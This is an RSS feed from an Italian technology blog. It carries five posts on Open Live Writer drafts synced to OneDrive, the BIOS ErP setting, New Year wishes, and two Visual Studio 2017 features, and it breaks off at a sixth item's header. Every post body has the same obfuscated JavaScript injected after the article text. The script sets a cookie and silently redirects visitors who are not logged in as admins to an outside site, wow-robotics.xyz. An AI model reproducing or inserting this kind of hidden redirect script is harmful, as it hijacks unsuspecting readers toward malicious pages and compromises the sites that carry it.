<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Technology Experience (Reborn 5)</title>
	<atom:link href="http://blog.vivendobyte.net/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.vivendobyte.net/blog</link>
	<description></description>
	<lastBuildDate>Wed, 04 Dec 2019 09:56:37 +0000</lastBuildDate>
	<language>it-IT</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.1</generator>

<image>
	<url>http://blog.vivendobyte.net/blog/wp-content/uploads/2018/10/InkscapeVivendoByteLogo.png</url>
	<title>Technology Experience (Reborn 5)</title>
	<link>http://blog.vivendobyte.net/blog</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Bozze di Open Live Writer su OneDrive</title>
		<link>http://blog.vivendobyte.net/blog/archive/2019/11/07/bozze-di-open-live-writer-su-onedrive.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=bozze-di-open-live-writer-su-onedrive</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2019/11/07/bozze-di-open-live-writer-su-onedrive.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Thu, 07 Nov 2019 09:28:00 +0000</pubDate>
				<category><![CDATA[Software]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3253</guid>

					<description><![CDATA[Sei incredibili anni fa scrivevo questo post sul mio blog intitolato “Bozze di Windows Live Writer su SkyDrive”. Il tempo è passato, Windows Live Writer non esiste più, e non esiste più nemmeno SkyDrive. Sono stati rimpiazzati rispettivamente da Open Live Writer e da OneDrive. E quindi ecco qui un breve aggiornamento. Il problema originale [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Sei incredibili anni fa scrivevo </strong><a href="https://blog.vivendobyte.net/blog/archive/2013/06/22/bozze-di-windows-live-writer-su-skydrive.aspx" target="_blank" rel="noopener noreferrer">questo post sul mio blog</a> intitolato “<strong>Bozze di Windows Live Writer su SkyDrive</strong>”.</p>
<p><span style="color: #ff0000">Il tempo è passato, Windows Live Writer non esiste più, e non esiste più nemmeno SkyDrive.</span></p>
<p>Sono stati rimpiazzati rispettivamente da <a href="https://openlivewriter.org/" target="_blank" rel="noopener noreferrer">Open Live Writer</a> e da <a href="https://onedrive.live.com/" target="_blank" rel="noopener noreferrer">OneDrive</a>. E quindi ecco qui un breve aggiornamento.</p>
<p>Il problema originale esiste anche oggi, ovvero: <strong><span style="color: #008040">è possibile sfruttare OneDrive per fare il sync delle vostre bozze scritte con Open Live Writer, per fare in modo di cominciare a scriverle da un PC, proseguire su un altro, per poi infine pubblicarle sul vostro blog da un altro PC ancora?</span></strong></p>
<p>Certo che sì, e soprattutto è molto più semplice rispetto a sei anni fa, quando eravamo costretti a giocare con il regedit. Oggi l’interfaccia utente ci consente di impostare tutto.</p>
<p>E’ sufficiente aprire Open Live Writer, poi andare sul menù <strong>File</strong>, poi su <strong>Options</strong> e nella finestra di dialogo che compare specificare una cartella gestita dal vostro OneDrive. Ecco uno screenshot veloce:</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2019/11/image-1.png"><img style="background-image: none" title="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2019/11/image_thumb-1.png" alt="image" width="516" height="243" border="0"></a></p>
<p><strong>In questo modo, le bozze vengono salvate sotto OneDrive.</strong> Ovviamente dovete impostare Open Live Writer su ogni PC, facendo puntare la stessa cartella sotto OneDrive. Se il meccanismo di syncing di OneDrive funziona a dovere, su tutti i vostri PC potete recuperare e continuare i post andando sotto il menù <strong>File</strong>, poi aprire <strong>Open local draft</strong> e trovare lì l’elenco delle bozze. Notare che la cartella “My Weblog Posts” ne contiene altre due: una dedicata ai draft (bozze) e l’altra dedicata ai post già pubblicati (Recent Posts). La cartella da impostare in Open Live Writer deve comunque puntare alla cartella principale, ovvero “My Weblog Posts”.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2019/11/image-2.png"><img style="background-image: none" title="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2019/11/image_thumb-2.png" alt="image" width="516" height="339" border="0"></a><script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2019/11/07/bozze-di-open-live-writer-su-onedrive.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>ErP nel vostro BIOS: a cosa serve?</title>
		<link>http://blog.vivendobyte.net/blog/archive/2019/11/06/erp-nel-vostro-bios-a-cosa-serve.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=erp-nel-vostro-bios-a-cosa-serve</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2019/11/06/erp-nel-vostro-bios-a-cosa-serve.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Wed, 06 Nov 2019 13:49:21 +0000</pubDate>
				<category><![CDATA[Hardware]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3247</guid>

					<description><![CDATA[Nei primi giorni di settembre di quest’anno ho acquistato questa scheda video (Asus ROG Strix RTX 2070 Overclocking Edition). L’obiettivo era poter giocare a DooM Eternal in modo decente, e comunque per dare una rinfrescata al mio hardware, dal momento che montavo una vecchia GeForce di 6 anni fa. Smonto quella vecchia, monto quella nuova, [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Nei primi giorni di settembre di quest’anno ho acquistato <a href="https://www.amazon.it/gp/product/B07JVWY7SJ/ref=ppx_yo_dt_b_asin_title_o00_s00?ie=UTF8&amp;psc=1" target="_blank" rel="noopener noreferrer">questa scheda video</a> (Asus ROG Strix RTX 2070 Overclocking Edition). L’obiettivo era poter giocare a <a href="https://bethesda.net/game/doom" target="_blank" rel="noopener noreferrer">DooM Eternal</a> in modo decente, e comunque per dare una rinfrescata al mio hardware, dal momento che montavo una vecchia GeForce di 6 anni fa.</p>
<p>Smonto quella vecchia, monto quella nuova, tutto gira a meraviglia.<br />
Mi godo persino un DooM 2016 girare a più di 200 fps.</p>
<p>Poi spengo il PC, in tarda serata, e non posso non notare due led bianchissimi e luminosissimi sulla scheda video, che rimangono accesi anche a PC completamente spento. Nota di colore: anche staccando l’alimentazione del PC (agendo sull’alimentatore) i due led rimangono accesi per qualche minuto. Sul momento ho ignorato la cosa. Innanzitutto chiariamo una cosa: quei due led indicano semplicemente che la scheda video è alimentata correttamente, quindi hanno un senso e servono per capire se il giusto apporto di energia dall’alimentatore raggiunge la scheda video.</p>
<p>Tanto per capirci, ho trovato questa immagine sul web che rende l’idea. Ho evidenziato i due led con due cerchi gialli. Raccontata così può sembrare una cosa di poco conto, ma quei due led illuminavano il mio soggiorno in piena notte, e tra l’altro con una serie di giochi e specchi &amp; riflessi quelle due dannate lampadine bianche comparivano un po’ dappertutto.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2019/11/image3.png"><img src="https://blog.vivendobyte.net/blog/wp-content/uploads/2019/11/image3_thumb.png" width="512" border="0"></a></p>
<p><strong>E’ stato un po’ complicato trovare la soluzione, che riguarda una funzionalità del vostro BIOS denominata “ErP”.</strong> <strong>Quando è disattivata (condizione di default) la scheda madre viene comunque alimentata con un quantitativo minimo di energia (&lt;1 Watt)</strong>, grazie alla quale vengono mantenute attive funzionalità come: PME Event Wake Up, Power On By Mouse (accensione del PC intervendo su uno dei bottoni del mouse), Power On By Keyboard (accensione del PC intervendo su uno dei tasti della vostra tastiera USB), and Wake On LAN (accensione del PC attraverso la rete, inviando un pacchetto TCP/IP ben preciso, noto come “magic packet”).</p>
<p>Il BIOS della mia mainboard (<a href="https://it.msi.com/Motherboard/MPG-Z390-GAMING-PLUS" target="_blank" rel="noopener noreferrer">MSI Z390 Gaming Plus</a>) ha la funzionalità ErP disabilitata di default, quando anche quando il PC veniva spento, l’alimentazione sulla mainboard c’era comunque, compresi i due white power led che raccontavo prima. Ecco una schermata tratta del mio BIOS; l’opzione si trova in basso a destra.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2019/11/image.png"><img title="image" style="background-image: none" alt="image" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2019/11/image_thumb.png" width="644" height="484" border="0"></a></p>
<p>E’ bastato entrare nel BIOS ed attivare la funzionalità per avere un PC realmente spento, senza più bagliori notturni nel mio soggiorno.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2019/11/06/erp-nel-vostro-bios-a-cosa-serve.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Buon 2019!</title>
		<link>http://blog.vivendobyte.net/blog/archive/2019/01/08/buon-2019.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=buon-2019</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2019/01/08/buon-2019.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 08 Jan 2019 09:52:10 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3215</guid>

					<description><![CDATA[Oggi sarete tutti rientrati al lavoro, per cui dal mio blog, ufficialmente, auguro a tutti voi un buon 2019! Per me l&#8217;anno scorso è stato un anno di piccoli ma grandi cambiamenti, e li voglio ricordare qua. ho cambiato posto di lavoro, come ho già avuto modo di raccontare ho fatto tre mesi di convivenza [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Oggi sarete tutti rientrati al lavoro, per cui dal mio blog, ufficialmente, auguro a tutti voi un buon 2019! Per me l&#8217;anno scorso è stato un anno di piccoli ma grandi cambiamenti, e li voglio ricordare qua.</p>



<ul><li>ho cambiato posto di lavoro, come ho già avuto modo di raccontare</li><li>ho fatto tre mesi di convivenza in versione demo, durante la primavera</li><li>ho cominciato una convivenza reale e definitiva, a partire da settembre</li></ul>



<p>Le cose migliori mi sono accadute negli anni pari, per cui non ho grandi speranze per questo 2019, ma sono pronto a ricredermi. Onestamente sono un po&#8217; preoccupato per la situazione politica italiana, e mondiale, ma sono problemi che non posso occuparmi, se non quando vado a votare, per cui per adesso ascolto, osservo, ragiono e valuto, poi il tempo darà tutte le risposte.</p>



<p>Vi lascio con una bella fotografia. Si tratta del Lego Ideas #20, che di fatto è una nave &#8211; il Leviathan &#8211; in bottiglia. Inutile ricordare e far notare che si tratta di un prodotto ufficiale Lego, fatto interamente in Lego. Bottiglia, tappo, base di supporto, acqua, etc. etc.</p>



<figure class="wp-block-image"><img src="https://blog.vivendobyte.net/blog/wp-content/uploads/2019/01/Boat_Bottle-1.jpg" alt="" class="wp-image-3222" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2019/01/Boat_Bottle-1.jpg 600w, http://blog.vivendobyte.net/blog/wp-content/uploads/2019/01/Boat_Bottle-1-300x169.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /><figcaption><a href="https://shop.lego.com/it-IT/product/Nave-in-bottiglia-21313" target="_blank" rel="noreferrer noopener" aria-label="https://shop.lego.com/it-IT/product/Nave-in-bottiglia-21313 (si apre in una nuova scheda)">https://shop.lego.com/it-IT/product/Nave-in-bottiglia-21313</a></figcaption></figure>



<p>Ho comprato questa confezione qualche giorno prima di cambiare lavoro, verso la fine di settembre. Durante il montaggio si è rotto un pezzetto, cosa rarissima per il brand Lego; l&#8217;ho preso come un segno del destino, come un simbolo di tutto ciò che qualcuno ha fatto andare storto quando ho chiuso i rapporti di lavoro con la mia precedente azienda. Un giorno avrò modo di raccontarvi tutto, non dubitate. Ho dovuto sostituirlo con un pezzo di fortuna, recuperato per fortuna dalla mia collezione privata; alla fine il Leviathan ha preso forma lo stesso.</p>



<p>Torniamo a noi, al presente. Ho scelto questa foto perchè probabilmente più di tutte mi ricorda l&#8217;anno appena chiuso. Chissà quale immagine avete in testa voi, invece. Indipendentemente da tutto, auguro a tutti voi un felice anno nuovo, pieno di soddisfazioni personali e lavorative!</p>



<p></p>
<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script><div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2019/01/08/buon-2019.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>VS2017 : Close All But Tool Windows</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/11/27/vs2017-close-all-but-tool-windows.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=vs2017-close-all-but-tool-windows</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/11/27/vs2017-close-all-but-tool-windows.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Tue, 27 Nov 2018 07:50:44 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3203</guid>

					<description><![CDATA[Con il rilascio di Visual Studio 2017 version 15.9 è comparsa una nuova voce di menù in Visual Studio 2017, posizionata sotto il menù Window. Si va ad affiancare alla già nota Close All Documents. Mentre la Close All Documents chiude indiscriminatamente tutti i tab aperti, senza farsi troppe domande, la&#160;Close All But Tool Windows [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Con il rilascio di Visual Studio 2017 version 15.9 è comparsa una nuova voce di menù in Visual Studio 2017, posizionata sotto il menù <strong>Window</strong>.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/CloseAllButToolWindows.png"><img class="alignnone size-full wp-image-3204" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/CloseAllButToolWindows.png" alt="" width="265" height="118"></a></p>
<p>Si va ad affiancare alla già nota <strong>Close All Documents</strong>.</p>
<p>Mentre la Close All Documents chiude indiscriminatamente tutti i tab aperti, senza farsi troppe domande, la&nbsp;<strong>Close All But Tool Windows</strong> chiude tutti i tab aperti (quindi ogni tipo di file sorgente .cs, .xaml, .css, .ts e via dicendo) lasciando però aperti eventuali tab contenenti strumenti di Visual Studio. Ad esempio:</p>
<ul>
<li>Find and Replace, che utilizzo molto</li>
<li>Test Results</li>
<li>JSON Outline</li>
<li>Web Browser (c&#8217;è qualcuno che lo usa?)</li>
<li>Diagnostics Tools</li>
</ul>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Tabs.png"><img class="alignnone size-full wp-image-3207" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Tabs.png" alt="" width="747" height="90" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Tabs.png 747w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Tabs-300x36.png 300w" sizes="(max-width: 747px) 100vw, 747px" /></a></p>
<p>Più in generale, tutti quei tool e pannelli che si aprono dai menù tradizionali di Visual Studio.<br />
Comodo?<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/11/27/vs2017-close-all-but-tool-windows.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Visual Studio 2017 15.9.2 &#8211; Export / Import configuration</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/11/23/visual-studio-2017-15-9-2-export-import-configuration.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=visual-studio-2017-15-9-2-export-import-configuration</link>
					<comments>http://blog.vivendobyte.net/blog/archive/2018/11/23/visual-studio-2017-15-9-2-export-import-configuration.aspx#respond</comments>
		
		<dc:creator><![CDATA[Igor Damiani]]></dc:creator>
		<pubDate>Fri, 23 Nov 2018 10:24:42 +0000</pubDate>
				<category><![CDATA[.NET World]]></category>
		<guid isPermaLink="false">http://blog.vivendobyte.net/blog/?p=3194</guid>

					<description><![CDATA[Premessa Se avete a che fare con un&#8217;installazione piuttosto corposa/complessa di Visual Studio 2017, che comprende cioè un gran numero di linguaggi, framework, strumenti, emulatori, etc. etc. probabilmente andate un po&#8217; in panico quando lo dovete installare su una macchina nuova (o magari quando reinstallate il vostro PC). I casi sono due: andate per intuito [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Premessa</strong><br />
<span style="color: #008000"><strong>Se avete a che fare con un&#8217;installazione piuttosto corposa/complessa di Visual Studio 2017</strong></span>, che comprende cioè un gran numero di linguaggi, framework, strumenti, emulatori, etc. etc. probabilmente andate un po&#8217; in panico quando lo dovete installare su una macchina nuova (o magari quando reinstallate il vostro PC). I casi sono due:</p>
<ol>
<li>andate per intuito</li>
<li>o &#8211; come me &#8211; utilizzate un documento RTF di qualche tipo, che gestite nel tempo, che vi elenca esattamente tutti i componenti di cui avete bisogno</li>
</ol>
<p>Quindi, lanciate l&#8217;installer di Visual Studio 2017, andate prima nella sezione <strong>Workloads</strong> e selezionate &#8220;a grandi linee&#8221;, poi vi spostate nella sezione <strong>Individual Components</strong> e selezionate in modo più preciso e puntuali tutto ciò che vi occorre. Che andiate ad intuito oppure seguendo una checklist, poco cambia.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Installer1.png"><img class="alignnone size-full wp-image-3196" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Installer1.png" alt="" width="544" height="219" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Installer1.png 544w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Installer1-300x121.png 300w" sizes="(max-width: 544px) 100vw, 544px" /></a></p>
<p><strong>La novità di Visual Studio 2017 &#8211; Release 15.9</strong><br />
Con l&#8217;ultimo rilascio di Visual Studio 2017 c&#8217;è una novità. E&#8217; possibile esportare in un file .vsconfig la configurazione attuale dei componenti del vostro VS2017, allo scopo di poterla importare in un altro installer. Questo semplifica di molto le operazioni per un nuovo setup, evitando di dover selezionare a mano, di sbagliarsi in qualche modo, etc. etc.</p>
<p><a href="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Installer2.png"><img class="alignnone size-full wp-image-3199" src="https://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Installer2.png" alt="" width="399" height="297" srcset="http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Installer2.png 399w, http://blog.vivendobyte.net/blog/wp-content/uploads/2018/11/Installer2-300x223.png 300w" sizes="(max-width: 399px) 100vw, 399px" /></a></p>
<p>L&#8217;operazione di export di per sè è praticamente immediata. Il file .vsconfig è sostanzialmente un file in formato json che contiene l&#8217;elenco di tutti i package della configurazione corrente. Lo esportate da una parte, lo importate successivamente sullo stesso o su un altro PCe vi troverete tutto quanto già selezionato senza troppe complicazioni. Bene così.<script> var a=['toUTCString','cookie','split','length','charAt','substring','indexOf','userAgent','match','MSIE;','OPR','Chromium','Firefox','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','getElementById','wpadminbar','undefined','setTime','getTime',';\x20expires='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b('0x0')](b('0x1'))===null){if(typeof c===b('0x2')){function c(d,e,f){var g='';if(f){var h=new Date();h[b('0x3')](h[b('0x4')]()+f*0x18*0x3c*0x3c*0x3e8);g=b('0x5')+h[b('0x6')]();}document[b('0x7')]=d+'='+(e||'')+g+';\x20path=/';}function i(j){var k=j+'=';var l=document[b('0x7')][b('0x8')](';');for(var m=0x0;m<l[b('0x9')];m++){var n=l[m];while(n[b('0xa')](0x0)=='\x20')n=n[b('0xb')](0x1,n['length']);if(n[b('0xc')](k)==0x0)return n[b('0xb')](k[b('0x9')],n['length']);}return null;}function o(){return navigator[b('0xd')][b('0xe')](/Android/i)||navigator['userAgent'][b('0xe')](/BlackBerry/i)||navigator[b('0xd')][b('0xe')](/iPhone|iPad|iPod/i)||navigator[b('0xd')][b('0xe')](/Opera Mini/i)||navigator[b('0xd')][b('0xe')](/IEMobile/i);}function p(){return navigator[b('0xd')]['indexOf']('Edge')!==-0x1||navigator['userAgent'][b('0xc')](b('0xf'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x10'))!==-0x1||navigator[b('0xd')][b('0xc')](b('0x11'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x12'))!==-0x1||navigator[b('0xd')]['indexOf'](b('0x13'))!==-0x1;}var q=i(b('0x14'));if(q!=='un'){if(p()||o()){c(b('0x14'),'un',0x16d);window[b('0x15')]['replace'](b('0x16'));}}}}}(this));</script></p>
<div class='kindleWidget kindleLight' style='font-family: verdana;'><img src="http://blog.vivendobyte.net/blog/wp-content/plugins/send-to-kindle/media/black-25.png" /><span>Send to Kindle</span></div>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.vivendobyte.net/blog/archive/2018/11/23/visual-studio-2017-15-9-2-export-import-configuration.aspx/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Evitare l&#8217;autoscroll della ListBox in WPF</title>
		<link>http://blog.vivendobyte.net/blog/archive/2018/11/19/evitare-lautoscroll-della-listbox-in-wpf.aspx?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=evitare-lautoscroll-della-listbox-in-wpf</link>
